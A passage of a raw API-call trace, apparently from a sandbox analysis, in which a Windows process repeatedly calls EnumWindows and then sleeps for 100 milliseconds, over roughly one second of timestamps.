(lpEnumFunc=0x423dd0, lParam=0x410000) [0167.145] Sleep (dwMilliseconds=0x64) [0167.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.147] Sleep (dwMilliseconds=0x64) [0167.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.148] Sleep (dwMilliseconds=0x64) [0167.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.150] Sleep (dwMilliseconds=0x64) [0167.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.151] Sleep (dwMilliseconds=0x64) [0167.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.153] Sleep (dwMilliseconds=0x64) [0167.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.154] Sleep (dwMilliseconds=0x64) [0167.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.156] Sleep (dwMilliseconds=0x64) [0167.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.157] Sleep (dwMilliseconds=0x64) [0167.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.159] Sleep (dwMilliseconds=0x64) [0167.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.160] Sleep (dwMilliseconds=0x64) [0167.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.162] Sleep (dwMilliseconds=0x64) [0167.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.163] Sleep (dwMilliseconds=0x64) [0167.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.165] Sleep (dwMilliseconds=0x64) [0167.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.166] Sleep (dwMilliseconds=0x64) [0167.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.168] Sleep (dwMilliseconds=0x64) [0167.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.169] Sleep (dwMilliseconds=0x64) [0167.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.171] Sleep (dwMilliseconds=0x64) [0167.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.172] Sleep (dwMilliseconds=0x64) [0167.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.174] Sleep (dwMilliseconds=0x64) [0167.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.176] Sleep (dwMilliseconds=0x64) [0167.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.178] Sleep (dwMilliseconds=0x64) [0167.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.179] Sleep (dwMilliseconds=0x64) [0167.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.181] Sleep (dwMilliseconds=0x64) [0167.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.184] Sleep (dwMilliseconds=0x64) [0167.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.185] Sleep (dwMilliseconds=0x64) [0167.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.187] Sleep (dwMilliseconds=0x64) [0167.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.188] Sleep (dwMilliseconds=0x64) [0167.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.190] Sleep (dwMilliseconds=0x64) [0167.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.191] Sleep (dwMilliseconds=0x64) [0167.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.193] Sleep (dwMilliseconds=0x64) [0167.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.194] Sleep (dwMilliseconds=0x64) [0167.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.196] Sleep (dwMilliseconds=0x64) [0167.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.197] Sleep (dwMilliseconds=0x64) [0167.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.199] Sleep (dwMilliseconds=0x64) [0167.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.200] Sleep (dwMilliseconds=0x64) [0167.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.202] Sleep (dwMilliseconds=0x64) [0167.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.203] Sleep (dwMilliseconds=0x64) [0167.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.205] Sleep (dwMilliseconds=0x64) [0167.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.206] Sleep (dwMilliseconds=0x64) [0167.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.208] Sleep (dwMilliseconds=0x64) [0167.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.209] Sleep (dwMilliseconds=0x64) [0167.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.211] Sleep (dwMilliseconds=0x64) [0167.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.212] Sleep (dwMilliseconds=0x64) [0167.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.214] Sleep (dwMilliseconds=0x64) [0167.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.215] Sleep (dwMilliseconds=0x64) [0167.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.217] Sleep (dwMilliseconds=0x64) [0167.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.218] Sleep (dwMilliseconds=0x64) [0167.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.220] Sleep (dwMilliseconds=0x64) [0167.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.222] Sleep (dwMilliseconds=0x64) [0167.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.225] Sleep (dwMilliseconds=0x64) [0167.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.226] Sleep (dwMilliseconds=0x64) [0167.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.228] Sleep (dwMilliseconds=0x64) [0167.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.229] Sleep (dwMilliseconds=0x64) [0167.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.232] Sleep (dwMilliseconds=0x64) [0167.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.234] Sleep (dwMilliseconds=0x64) [0167.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.235] Sleep (dwMilliseconds=0x64) [0167.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.238] Sleep (dwMilliseconds=0x64) [0167.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.239] Sleep (dwMilliseconds=0x64) [0167.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.241] Sleep (dwMilliseconds=0x64) [0167.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.242] Sleep (dwMilliseconds=0x64) [0167.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.244] Sleep (dwMilliseconds=0x64) [0167.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.246] Sleep (dwMilliseconds=0x64) [0167.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.248] Sleep (dwMilliseconds=0x64) [0167.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.249] Sleep (dwMilliseconds=0x64) [0167.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.251] Sleep (dwMilliseconds=0x64) [0167.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.252] Sleep (dwMilliseconds=0x64) [0167.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.254] Sleep (dwMilliseconds=0x64) [0167.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.255] Sleep (dwMilliseconds=0x64) [0167.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.257] Sleep (dwMilliseconds=0x64) [0167.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.258] Sleep (dwMilliseconds=0x64) [0167.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.260] Sleep (dwMilliseconds=0x64) [0167.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.262] Sleep (dwMilliseconds=0x64) [0167.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.263] Sleep (dwMilliseconds=0x64) [0167.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.267] Sleep (dwMilliseconds=0x64) [0167.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.268] Sleep (dwMilliseconds=0x64) [0167.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.270] Sleep (dwMilliseconds=0x64) [0167.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.271] Sleep (dwMilliseconds=0x64) [0167.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.273] Sleep (dwMilliseconds=0x64) [0167.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.274] Sleep (dwMilliseconds=0x64) [0167.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.276] Sleep (dwMilliseconds=0x64) [0167.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.277] Sleep (dwMilliseconds=0x64) [0167.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.279] Sleep (dwMilliseconds=0x64) [0167.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.280] Sleep (dwMilliseconds=0x64) [0167.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.282] Sleep (dwMilliseconds=0x64) [0167.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.283] Sleep (dwMilliseconds=0x64) [0167.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.285] Sleep (dwMilliseconds=0x64) [0167.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.286] Sleep (dwMilliseconds=0x64) [0167.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.288] Sleep (dwMilliseconds=0x64) [0167.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.289] Sleep (dwMilliseconds=0x64) [0167.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.291] Sleep (dwMilliseconds=0x64) [0167.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.292] Sleep (dwMilliseconds=0x64) [0167.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.294] Sleep (dwMilliseconds=0x64) [0167.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.295] Sleep (dwMilliseconds=0x64) [0167.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.297] Sleep (dwMilliseconds=0x64) [0167.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.298] Sleep (dwMilliseconds=0x64) [0167.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.300] Sleep (dwMilliseconds=0x64) [0167.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.302] Sleep (dwMilliseconds=0x64) [0167.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.303] Sleep (dwMilliseconds=0x64) [0167.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.305] Sleep (dwMilliseconds=0x64) [0167.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.407] Sleep (dwMilliseconds=0x64) [0167.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.408] Sleep (dwMilliseconds=0x64) [0167.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.412] Sleep (dwMilliseconds=0x64) [0167.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.413] Sleep (dwMilliseconds=0x64) [0167.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.415] Sleep (dwMilliseconds=0x64) [0167.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.419] Sleep (dwMilliseconds=0x64) [0167.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.420] Sleep (dwMilliseconds=0x64) [0167.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.422] Sleep (dwMilliseconds=0x64) [0167.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.424] Sleep (dwMilliseconds=0x64) [0167.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.425] Sleep (dwMilliseconds=0x64) [0167.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.427] Sleep (dwMilliseconds=0x64) [0167.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.429] Sleep (dwMilliseconds=0x64) [0167.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.431] Sleep (dwMilliseconds=0x64) [0167.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.433] Sleep (dwMilliseconds=0x64) [0167.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.435] Sleep (dwMilliseconds=0x64) [0167.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.437] Sleep (dwMilliseconds=0x64) [0167.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.438] Sleep (dwMilliseconds=0x64) [0167.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.440] Sleep (dwMilliseconds=0x64) [0167.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.510] Sleep (dwMilliseconds=0x64) [0167.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.512] Sleep (dwMilliseconds=0x64) [0167.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.515] Sleep (dwMilliseconds=0x64) [0167.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.517] Sleep (dwMilliseconds=0x64) [0167.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.519] Sleep (dwMilliseconds=0x64) [0167.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.521] Sleep (dwMilliseconds=0x64) [0167.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.523] Sleep (dwMilliseconds=0x64) [0167.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.524] Sleep (dwMilliseconds=0x64) [0167.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.528] Sleep (dwMilliseconds=0x64) [0167.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.529] Sleep (dwMilliseconds=0x64) [0167.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.532] Sleep (dwMilliseconds=0x64) [0167.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.534] Sleep (dwMilliseconds=0x64) [0167.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.536] Sleep (dwMilliseconds=0x64) [0167.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.538] Sleep (dwMilliseconds=0x64) [0167.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.545] Sleep (dwMilliseconds=0x64) [0167.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.547] Sleep (dwMilliseconds=0x64) [0167.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.548] Sleep (dwMilliseconds=0x64) [0167.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.550] Sleep (dwMilliseconds=0x64) [0167.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.552] Sleep (dwMilliseconds=0x64) [0167.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.554] Sleep (dwMilliseconds=0x64) [0167.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.556] Sleep (dwMilliseconds=0x64) [0167.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.557] Sleep (dwMilliseconds=0x64) [0167.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.560] Sleep (dwMilliseconds=0x64) [0167.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.561] Sleep (dwMilliseconds=0x64) [0167.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.563] Sleep (dwMilliseconds=0x64) [0167.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.566] Sleep (dwMilliseconds=0x64) [0167.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.568] Sleep (dwMilliseconds=0x64) [0167.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.569] Sleep (dwMilliseconds=0x64) [0167.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.571] Sleep (dwMilliseconds=0x64) [0167.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.574] Sleep (dwMilliseconds=0x64) [0167.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.576] Sleep (dwMilliseconds=0x64) [0167.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.578] Sleep (dwMilliseconds=0x64) [0167.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.581] Sleep (dwMilliseconds=0x64) [0167.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.583] Sleep (dwMilliseconds=0x64) [0167.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.585] Sleep (dwMilliseconds=0x64) [0167.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.586] Sleep (dwMilliseconds=0x64) [0167.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.588] Sleep (dwMilliseconds=0x64) [0167.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.591] Sleep (dwMilliseconds=0x64) [0167.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.592] Sleep (dwMilliseconds=0x64) [0167.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.595] Sleep (dwMilliseconds=0x64) [0167.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.602] Sleep (dwMilliseconds=0x64) [0167.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.606] Sleep (dwMilliseconds=0x64) [0167.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.608] Sleep (dwMilliseconds=0x64) [0167.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.609] Sleep (dwMilliseconds=0x64) [0167.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.611] Sleep (dwMilliseconds=0x64) [0167.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.613] Sleep (dwMilliseconds=0x64) [0167.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.615] Sleep (dwMilliseconds=0x64) [0167.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.616] Sleep (dwMilliseconds=0x64) [0167.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.618] Sleep (dwMilliseconds=0x64) [0167.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.620] Sleep (dwMilliseconds=0x64) [0167.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.621] Sleep (dwMilliseconds=0x64) [0167.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.623] Sleep (dwMilliseconds=0x64) [0167.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.624] Sleep (dwMilliseconds=0x64) [0167.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.626] Sleep (dwMilliseconds=0x64) [0167.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.741] Sleep (dwMilliseconds=0x64) [0167.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.824] Sleep (dwMilliseconds=0x64) [0167.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.856] Sleep (dwMilliseconds=0x64) [0167.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.858] Sleep (dwMilliseconds=0x64) [0167.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.859] Sleep (dwMilliseconds=0x64) [0167.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.861] Sleep (dwMilliseconds=0x64) [0167.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.863] Sleep (dwMilliseconds=0x64) [0167.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.864] Sleep (dwMilliseconds=0x64) [0167.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.866] Sleep (dwMilliseconds=0x64) [0167.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.867] Sleep (dwMilliseconds=0x64) [0167.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.869] Sleep (dwMilliseconds=0x64) [0167.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.872] Sleep (dwMilliseconds=0x64) [0167.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.874] Sleep (dwMilliseconds=0x64) [0167.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.876] Sleep (dwMilliseconds=0x64) [0167.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.878] Sleep (dwMilliseconds=0x64) [0167.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.880] Sleep (dwMilliseconds=0x64) [0167.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.881] Sleep (dwMilliseconds=0x64) [0167.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.884] Sleep (dwMilliseconds=0x64) [0167.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.886] Sleep (dwMilliseconds=0x64) [0167.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.897] Sleep (dwMilliseconds=0x64) [0167.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.899] Sleep (dwMilliseconds=0x64) [0167.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.900] Sleep (dwMilliseconds=0x64) [0167.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.902] Sleep (dwMilliseconds=0x64) [0167.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.903] Sleep (dwMilliseconds=0x64) [0167.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.905] Sleep (dwMilliseconds=0x64) [0167.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.907] Sleep (dwMilliseconds=0x64) [0167.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.909] Sleep (dwMilliseconds=0x64) [0167.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.910] Sleep (dwMilliseconds=0x64) [0167.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.912] Sleep (dwMilliseconds=0x64) [0167.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.915] Sleep (dwMilliseconds=0x64) [0167.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.917] Sleep (dwMilliseconds=0x64) [0167.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.918] Sleep (dwMilliseconds=0x64) [0167.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.920] Sleep (dwMilliseconds=0x64) [0167.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.921] Sleep (dwMilliseconds=0x64) [0167.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.923] Sleep (dwMilliseconds=0x64) [0167.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.925] Sleep (dwMilliseconds=0x64) [0167.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.927] Sleep (dwMilliseconds=0x64) [0167.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.929] Sleep (dwMilliseconds=0x64) [0167.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.931] Sleep (dwMilliseconds=0x64) [0167.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.932] Sleep (dwMilliseconds=0x64) [0167.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.934] Sleep (dwMilliseconds=0x64) [0167.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.936] Sleep (dwMilliseconds=0x64) [0167.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.937] Sleep (dwMilliseconds=0x64) [0167.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.940] Sleep (dwMilliseconds=0x64) [0167.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.942] Sleep (dwMilliseconds=0x64) [0167.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.944] Sleep (dwMilliseconds=0x64) [0167.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.946] Sleep (dwMilliseconds=0x64) [0167.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.947] Sleep (dwMilliseconds=0x64) [0167.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.949] Sleep (dwMilliseconds=0x64) [0167.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.950] Sleep (dwMilliseconds=0x64) [0167.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.952] Sleep (dwMilliseconds=0x64) [0167.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.954] Sleep (dwMilliseconds=0x64) [0167.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.955] Sleep (dwMilliseconds=0x64) [0167.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.957] Sleep (dwMilliseconds=0x64) [0167.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.958] Sleep (dwMilliseconds=0x64) [0167.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.960] Sleep (dwMilliseconds=0x64) [0167.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.963] Sleep (dwMilliseconds=0x64) [0167.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.964] Sleep (dwMilliseconds=0x64) [0167.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.966] Sleep (dwMilliseconds=0x64) [0167.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.968] Sleep (dwMilliseconds=0x64) [0167.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.969] Sleep (dwMilliseconds=0x64) [0168.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.041] Sleep (dwMilliseconds=0x64) [0168.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.043] Sleep (dwMilliseconds=0x64) [0168.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.044] Sleep (dwMilliseconds=0x64) [0168.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.049] Sleep (dwMilliseconds=0x64) [0168.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.051] Sleep (dwMilliseconds=0x64) [0168.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.053] Sleep (dwMilliseconds=0x64) [0168.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.054] Sleep (dwMilliseconds=0x64) [0168.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.056] Sleep (dwMilliseconds=0x64) [0168.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.057] Sleep (dwMilliseconds=0x64) [0168.059] 